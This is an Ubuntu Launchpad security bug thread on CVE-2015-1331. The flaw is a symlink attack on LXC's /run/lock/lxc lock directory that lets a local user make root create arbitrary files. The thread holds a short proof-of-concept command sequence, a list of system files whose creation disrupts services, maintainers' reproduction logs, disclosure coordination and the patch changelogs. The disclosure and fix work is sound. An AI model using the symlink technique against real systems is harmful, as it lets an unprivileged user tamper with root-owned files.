lxc tools lock handling vulnerable to symlink attack

Bug #1470842 reported by Roman Fiedler on 2015-07-02
262
This bug affects 1 person
Affects Status Importance Assigned to Milestone
lxc (Ubuntu)
Undecided
Unassigned

Bug Description

During LXC security analysis (see [1]) it was found, that when lxc tools, e.g. lxc-info, are run as user root, a symlink attack on /run/lock/lxc can be used to create arbitrary files as the root user. The malicious user has to set up the symlink attack before /run/lock/lxc/ exists, which is only possible prior to the administrator creating the first container or automatic startup starting after boot starting one.

PoC:

$ mkdir -p /run/lock/lxc/var/lib/lxc
$ ln -s /test /run/lock/lxc/var/lib/lxc/somename
$ stat /test
stat: cannot stat ‘/test’: No such file or directory
$ sudo lxc-create --name somename --template download # An admin would run this command
...
Distribution: ubuntu
Release: trusty
Architecture: amd64
...
$ stat /test
  File: ‘/test’
  Size: 0 Blocks: 0 IO Block: 4096 regular empty file
Device: fd01h/64769d Inode: 52559 Links: 1
Access: (0600/-rw-------) Uid: ( 0/ root) Gid: ( 0/ root)
Access: 2015-07-02 10:40:55.703646793 -0500
Modify: 2015-07-02 10:40:55.703646793 -0500
Change: 2015-07-02 10:40:55.703646793 -0500
 Birth: -

# lsb_release -rd
Description: Ubuntu 14.04.2 LTS
Release: 14.04

# apt-cache policy lxc
lxc:
  Installed: 1.0.7-0ubuntu0.1
  Candidate: 1.0.7-0ubuntu0.1
  Version table:
 *** 1.0.7-0ubuntu0.1 0
        500 http://archivexxx/ubuntu/ trusty-updates/main amd64 Packages
        100 /var/lib/dpkg/status
     1.0.3-0ubuntu3 0
        500 http://archivexxx/ubuntu/ trusty/main amd64 Packages

[1] https://service.ait.ac.at/security/2015/LxcSecurityAnalysis.html

CVE References

Tyler Hicks (tyhicks) wrote :

Hi Roman - Thank you for the report!

Unfortunately, I'm having trouble reproducing the issue. You say that guest "somename" has to exist but if a privilege LXC container has been created, /run/lock/lxc always exists. That directory and its subdirectories are only modifiable by root and they're created during the boot process.

I'll now try creating the malicious /run/lock/lxc/var/lib/lxc/somename before creating the "somename" container since /run/lock/lxc will not yet exist.

Tyler Hicks (tyhicks) wrote :

I cannot reproduce the issue. Here is a log of the commands that I ran:

$ echo UNTRUNCATED | sudo tee /test
UNTRUNCATED
$ mkdir -p /run/lock/lxc/var/lib/lxc
$ ln -s /test /run/lock/lxc/var/lib/lxc/somename
$ ls -al /run/lock/lxc/var/lib/lxc/
total 0
drwxrwxr-x 2 tyhicks tyhicks 60 Jul 2 10:21 .
drwxrwxr-x 3 tyhicks tyhicks 60 Jul 2 10:21 ..
lrwxrwxrwx 1 tyhicks tyhicks 5 Jul 2 10:21 somename -> /test
$ sudo lxc-create --name somename --template download
...
Distribution: ubuntu
Release: trusty
Architecture: amd64
...
$ ls -al /run/lock/lxc/var/lib/lxc/
total 0
drwxrwxr-x 2 tyhicks tyhicks 60 Jul 2 10:21 .
drwxrwxr-x 3 tyhicks tyhicks 60 Jul 2 10:21 ..
lrwxrwxrwx 1 tyhicks tyhicks 5 Jul 2 10:21 somename -> /test
$ cat /test
UNTRUNCATED
$ sudo lxc-info --name somename
Name: somename
State: STOPPED
$ ls -al /run/lock/lxc/var/lib/lxc/
total 0
drwxrwxr-x 2 tyhicks tyhicks 60 Jul 2 10:21 .
drwxrwxr-x 3 tyhicks tyhicks 60 Jul 2 10:21 ..
lrwxrwxrwx 1 tyhicks tyhicks 5 Jul 2 10:21 somename -> /test
$ cat /test
UNTRUNCATED

Tyler Hicks (tyhicks) wrote :

The /test file is unmodified even after starting the container and running lxc-info.

Can you please update your PoC instructions? Thanks!

Changed in lxc (Ubuntu):
status: New → Incomplete
Tyler Hicks (tyhicks) wrote :

Aha! Arbitrary file creation is possible, as you originally mentioned. Extending my previous examples:

$ sudo rm /test
$ stat /test
stat: cannot stat ‘/test’: No such file or directory
$ sudo lxc-info --name somename
Name: somename
State: RUNNING
PID: 1626
IP: 10.0.3.198
CPU use: 0.80 seconds
BlkIO use: 196.00 KiB
Memory use: 6.15 MiB
KMem use: 0 bytes
Link: vethQCK98M
 TX bytes: 3.25 KiB
 RX bytes: 7.15 KiB
 Total bytes: 10.41 KiB
$ stat /test
  File: ‘/test’
  Size: 0 Blocks: 0 IO Block: 4096 regular empty file
Device: fd01h/64769d Inode: 52559 Links: 1
Access: (0600/-rw-------) Uid: ( 0/ root) Gid: ( 0/ root)
Access: 2015-07-02 10:33:26.656442993 -0500
Modify: 2015-07-02 10:33:26.656442993 -0500
Change: 2015-07-02 10:33:26.656442993 -0500
 Birth: -

Changed in lxc (Ubuntu):
status: Incomplete → Confirmed
Tyler Hicks (tyhicks) wrote :

Could you please re-verify that arbitrary file truncation is possible and update your PoC instructions? I can only reproduce the arbitrary file creation vulnerability.

Tyler Hicks (tyhicks) on 2015-07-02
description: updated
Marc Deslauriers (mdeslaur) wrote :

This is CVE-2015-1331

I failed also to reproduce now, so it seems I've made some mistake in interpretation of size output or mixed up something in the testcase. The lockfile create syscall is only O_RDWR|O_CREAT so no truncate flag here.

So only impact remains is creation of annoying files, e.g.

/etc/suid-debug
/forcefsck
/etc/ssh/sshd_not_to_be_run

and alike, making programs react strange if they find an directory where they expect a file or forcing process to get controlling TTY when not wanted.

Tyler Hicks (tyhicks) wrote :

Thanks for the confirmation. I'll update the bug description accordingly.

description: updated
Stéphane Graber (stgraber) wrote :

So it looks like most of this resulted from some entirely invalid assumption that /run/lock was root-writable only. Would just switching to /run/lxc instead fix the issue?

Quoting Stéphane Graber (<email address hidden>):
> So it looks like most of this resulted from some entirely invalid
> assumption that /run/lock was root-writable only. Would just switching
> to /run/lxc instead fix the issue?

That should work.

Stéphane Graber (stgraber) wrote :

Serge provided a patch by e-mail.

Upstream we've got LXC 1.1.3 right around the corner so we can land the patch in git master and then push it to the 1.1 maintenance branch and tag 1.1.3 very soon after. This release will then make it directly to wily and vivid.

For trusty, we'll have to wait for LXC 1.0.8 upstream and that'll take a while longer as I've got a backlog of about 200 patches to go through for the stable branch.

So I guess the best for now is to pick a time where we:
 - Push Serge's fix as a distro patch to all supported releases
 - Push the fix to LXC git master
 - Post to lxc-devel and lxc-users about the security issue
 - Tag LXC 1.1.3 including the fix
 - Continue working on LXC 1.0.8 which will include the fix too

We usually should be able to deal with shorter turnarounds for LXC stable releases, but recently the focus on LXD has made it hard to keep track of all the bugfixes and keep our stable branches in a releasable state. Thankfully I happened to fix that for 1.1 last week, but 1.0 will be a while longer.

Tyler Hicks (tyhicks) wrote :

On 2015-07-06 19:12:31, Stéphane Graber wrote:
> Serge provided a patch by e-mail.

I replied to his patch with a potential attack vector that was still
available. I point this out because we may not have a final patch at
this point.

> Upstream we've got LXC 1.1.3 right around the corner so we can land the
> patch in git master and then push it to the 1.1 maintenance branch and
> tag 1.1.3 very soon after. This release will then make it directly to
> wily and vivid.
>
> For trusty, we'll have to wait for LXC 1.0.8 upstream and that'll take a
> while longer as I've got a backlog of about 200 patches to go through
> for the stable branch.

The security team will apply the fix, as a distro patch, to all affected
stable releases and push out updates. You can then handle the Trusty SRU
however you'd like as long as you don't drop the fix in the version that
you take through the SRU process.

> So I guess the best for now is to pick a time where we:
> - Push Serge's fix as a distro patch to all supported releases
> - Push the fix to LXC git master
> - Post to lxc-devel and lxc-users about the security issue
> - Tag LXC 1.1.3 including the fix
> - Continue working on LXC 1.0.8 which will include the fix too

Lets wait just a little bit longer on deciding that time until we're
sure that we have a final patch available.

Tyler Hicks (tyhicks) wrote :

Attaching the agreed upon and tested fix for this bug.

Tyler Hicks (tyhicks) wrote :

The coordinated release date (CRD) is 2015-07-21 14:00 UTC

Tyler Hicks (tyhicks) wrote :

@Roman - Would you be open to delaying the previously stated CRD (in comment #14)? I'd prefer that we publicly disclose both issues, this bug and bug #1475050, at the same time since this makes it easier on downstream consumers of LXC.

We're working to identify the best fix for bug #1475050 but the previously agreed upon CRD for this bug is probably going to be cutting it close.

Tyler Hicks (tyhicks) wrote :

@Roman - Now that we have a fix for bug #1475050, I'd like a CRD of 2015-07-22 14:00 UTC for both of the issues. Let me know if you have any problems with that date.

@Tyler: Completely OK for me. Thanks for your efforts!

description: updated
Launchpad Janitor (janitor) wrote :

This bug was fixed in the package lxc - 1.1.0~alpha2-0ubuntu3.3

---------------
lxc (1.1.0~alpha2-0ubuntu3.3) utopic-security; urgency=medium

  * SECURITY UPDATE: Arbitrary file creation via unintentional symlink
    following when accessing an LXC lock file (LP: #1470842)
    - debian/patches/0009-CVE-2015-1331.patch: Use /run/lxc/lock, rather than
      /run/lock/lxc, as /run and /run/lxc is only writable by root. Based on
      patch from upstream.
    - CVE-2015-1131
  * SECURITY UPDATE: Container AppArmor/SELinux confinement breakout via
    lxc-attach using a potentially malicious container proc filesystem to
    initialize confinement (LP: #1475050)
    - debian/patches/0010-CVE-2015-1334.patch: Use the host's proc filesystem
      to set up AppArmor profile and SELinux domain transitions during
      lxc-attach. Based on patch from upstream.
    - CVE-2015-1334

 -- Tyler Hicks <email address hidden> Fri, 17 Jul 2015 10:57:56 -0500

Changed in lxc (Ubuntu):
status: Confirmed → Fix Released
Launchpad Janitor (janitor) wrote :

This bug was fixed in the package lxc - 1.1.2-0ubuntu3.1

---------------
lxc (1.1.2-0ubuntu3.1) vivid-security; urgency=medium

  * SECURITY UPDATE: Arbitrary file creation via unintentional symlink
    following when accessing an LXC lock file (LP: #1470842)
    - debian/patches/0008-CVE-2015-1331.patch: Use /run/lxc/lock, rather than
      /run/lock/lxc, as /run and /run/lxc is only writable by root. Based on
      patch from upstream.
    - CVE-2015-1131
  * SECURITY UPDATE: Container AppArmor/SELinux confinement breakout via
    lxc-attach using a potentially malicious container proc filesystem to
    initialize confinement (LP: #1475050)
    - debian/patches/0009-CVE-2015-1334.patch: Use the host's proc filesystem
      to set up AppArmor profile and SELinux domain transitions during
      lxc-attach. Based on patch from upstream.
    - CVE-2015-1334

 -- Tyler Hicks <email address hidden> Fri, 17 Jul 2015 10:57:31 -0500

Changed in lxc (Ubuntu):
status: Confirmed → Fix Released
Launchpad Janitor (janitor) wrote :

This bug was fixed in the package lxc - 1.0.7-0ubuntu0.2

---------------
lxc (1.0.7-0ubuntu0.2) trusty-security; urgency=medium

  * SECURITY UPDATE: Arbitrary file creation via unintentional symlink
    following when accessing an LXC lock file (LP: #1470842)
    - debian/patches/0001-CVE-2015-1331.patch: Use /run/lxc/lock, rather than
      /run/lock/lxc, as /run and /run/lxc is only writable by root. Based on
      patch from upstream.
    - CVE-2015-1131
  * SECURITY UPDATE: Container AppArmor/SELinux confinement breakout via
    lxc-attach using a potentially malicious container proc filesystem to
    initialize confinement (LP: #1475050)
    - debian/patches/0002-CVE-2015-1334.patch: Use the host's proc filesystem
      to set up AppArmor profile and SELinux domain transitions during
      lxc-attach. Based on patch from upstream.
    - CVE-2015-1334

 -- Tyler Hicks <email address hidden> Fri, 17 Jul 2015 10:58:00 -0500

Changed in lxc (Ubuntu):
status: Confirmed → Fix Released
Tyler Hicks (tyhicks) on 2015-07-22
information type: Private Security → Public Security
Tyler Hicks (tyhicks) wrote :

It is worth noting that I typoed the CVE ID in the changelog. CVE-2015-1131 should have been CVE-2015-1331.

To post a comment you must log in.
This report contains Public Security information  Edit
Everyone can see this security related information.

Other bug subscribers